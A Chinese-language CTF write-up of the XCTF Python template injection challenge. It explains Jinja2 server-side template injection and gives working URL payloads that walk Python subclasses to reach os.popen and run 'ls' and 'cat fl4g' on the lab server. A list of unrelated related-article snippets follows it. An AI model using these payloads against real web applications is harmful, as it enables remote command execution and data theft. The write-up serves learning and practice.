web python template injection_XCTF Web_python_template_injection
一.进入实验发现是python的模板注入
1.我们先来了解一下:
instance.__class__ 可以获取当前实例的类对象
class.__mro__ 获取当前类对象的所有继承类
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
这里就不一一说明了,我也不是很懂这个漏洞,想更详细地了解就看看这个 https://www.freebuf.com/column/187845.html
2.实验步骤:
判断是否存在漏洞 : 发现1+1被执行了,也就可以利用这漏洞了
通过 http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模块
由于我们想要读取到flag文件里的信息,所以选用 os.popen
首先我们要找到os模块的位置,他是位于里面 ,结果查找在71
通过`__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()`
来调用服务器的控制台并显示。
我们构造http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('ls').read()%7D%7D
根据返回的结果可以知道我们要找的flag在fl4g里面,现在查看这个文件即可得到flag。
http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
添加到短语集
没有此单词集:英语 -> 中文(简体)...
创建新的单词集...
拷贝
web python template injection_XCTF Web_python_template_injection相关推荐
- web python template injection_[Day 2] Template Injection:欸不是,你真的懂 Python 嗎?
雖然標題是寫 Template Injection,但我們暫時先從另外一個角度切入八 owo)/ 小 sandbox(? 這邊有一段簡單的 Python 2 程式碼 while True: try: ...
- python template languages_Python template.TemplateSyntaxError方法代碼示例
本文整理匯總了Python中django.template.TemplateSyntaxError方法的典型用法代碼示例.如果您正苦於以下問題:Python template.TemplateSynt ...
- web python php golang_python go 语言完成最简单的web应用
徒手使用python和go语言搭建最简单的web页面-使用模板,无持久化 也许我们会接触到很多语言的web应用,譬如php,java,包括今天介绍的python和go,实际上我们在使用这些语言构建we ...
- python template模块_Python模板库Mako的用法
Mako是一个高性能的Python模板库,它的语法和API借鉴了很多其他的模板库,如Django.Jinja2等等. 基本用法 创建模板并渲染它的最基本的方法是使用 Template 类: from ...
- Creating a LINQ Enabled ASP.NET Web application template using C#.[转]
原文地址:http://www.wwwcoder.com/Weblogs/tabid/283/EntryID/839/Default.aspx 其他相关地址:Building and using a ...
- python template open_python and Template.
也许说法不正确,但是目前我能理解的就是替换,替换指定文本中的内容. 例如: $title$ $content$ Top 我要做的只是替换其中特定格式的 $code$,$title$,$conent$, ...
- web python 自动化是什么_Selenium 凭什么成为 Web 自动化测试的首选?(内附源码)...
原标题:Selenium 凭什么成为 Web 自动化测试的首选?(内附源码) 自动化 · 工具 1.QTP QTP是一个商业化的功能测试工具,收费,支持web,桌面自动化测试. 2. Selenium ...
- python template用法_python中Template的使用介绍
Template无疑是一个好东西,可以将字符串的格式固定下来,重复利用.同时Template也可以让开发人员可以分别考虑字符串的格式和其内容了,无形中减轻了开发人员的压力. Template属于str ...
- python template engine
Tenjin a fast and full-featured template engine based on embedded Python. install: sudo easy_install ...
最新文章
- scala akka 修炼之路5(scala特质应用场景分析)
- adb查看手机cpu使用率_记录一下Unity打包Android在骁龙cpu上概率性卡死的问题
- CSS技巧(含色卡)
- 允许java运行不安全或不可信的应用程序
- 学习SQL语句之SQL语句大全
- Tunnel Warfare(HDU1540+线段树+区间合并)
- Xftp连接linux(ubuntu)时提示ssh服务器拒绝了密码,请再试一次
- 网工小课堂(part1)--计算机网络概论
- 故障分析:数据库一致性关闭缓慢问题诊断
- python爬虫都需要什么手续_Python爬虫入门 | 3 爬虫必备Python知识
- 几种关系型数据库比较
- 学计算机是为了什么演讲稿,求大学计算机协会职位申请书和演讲稿
- 【什么值得买】最牛逼的语音识别公司开始做硬件了
- 【R语言】如何直接调取Wind、iFinD数据接口教程
- 雷电模拟器 手机模拟器 安装 连接
- winform右下角弹窗
- linux系统支持ntfs吗,Linux支持NTFS格式文件的方法
- (二) icarus主题配置
- MySQL——事务(Transaction)详解
- Windows中 JDK下载与安装教程 JAVA环境变量配置、JDK基本介绍